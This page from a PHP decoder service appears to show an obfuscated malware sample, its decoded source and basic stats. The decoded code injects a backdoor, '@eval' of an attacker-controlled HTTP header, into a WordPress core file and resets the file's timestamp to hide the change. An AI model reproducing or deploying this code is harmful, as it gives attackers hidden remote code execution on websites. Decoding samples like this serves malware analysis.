Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wJaSCQFMgBRZNfNgQzxLCqzwyTShxnMapY0exQ0qm/fc5..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo4NzoiL3Zhci93d3cvdmhvc3RzL3dlYjU0Ni5sb2dpbi0xMy5sb2dpbnNlcnZlci5jaC9odHRwZG9jcy93cC1pbmNsdWRlcy90ZW1wbGF0ZS1sb2FkZXIucGhwIjtpOjE7czo3OiIwQTRGMjM5IjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfMEE0RjIzOSddKTsiO2k6MztzOjM1OiJ+XlxzKmlmLippc19yb2JvdHNbXlx7fFw6XSsoXHt8Oil+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wJaSCQFMgBRZNfNgQzxLCqzwyTShxnMapY0exQ0qm/fc5EArdKm1WrFxfn3vuucfFQuiFXUbdtUWwYwlUvt+tmGJQERr+1zZM2cM0ZXiimh7Emuqo8OAE3gGqi3SiOmTnPylT3OR2wwltrLzqxzymUwKpSSBu+lZXY85wkZgDzYdHTYXdemgHU+5sFkSeFXNTT+xBXzGXdVnbfzG3oxgOvGTkZxp6mQbVwKNkvloMdF9vnvOjLJ/qPsPzwbqx2yRs3NdWi/V4I7c9Vryndf+bq/d6ysIfpcbScR5XHBuNl5aeitTw9bqBx9UteU0fAxJMcBjCuna0G+ODM5zaMt92+0lru+RsOxSfDUyq9nLUduedzn3lS7HgxhQKzCj4074SR1EF/CwWigUgF8FcgHLJjQmZWcKrgRI/coGCHj3IGDIHyV9oCYEiWgEdEFNZjyVZisq2xVHrYe+gDHYmzlpntCXO4ggiWeBigvbPSOwhowJRwa/NLmDsgjIXkfzKed2tjAq460gai3B00g3yFSERRzSn+HVlugsj9LwPLAG98kV5DVyJTzeIV/5JVqIoWV7GkOL2EQqJBeWkOcV35UfuEfgEZsPZvmdMZPT++tz3o1Hf6N9P2/nvaUuZt4HAwcXnU3zjL6iCupLXxJRg+vK3+af3CeOP3qd2Y8EFLlic+XoDeWucQaSy3w==")))

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 d967d05b97f5ae62e175ec58a0354867
Eval Count 1
Decode Time 36 ms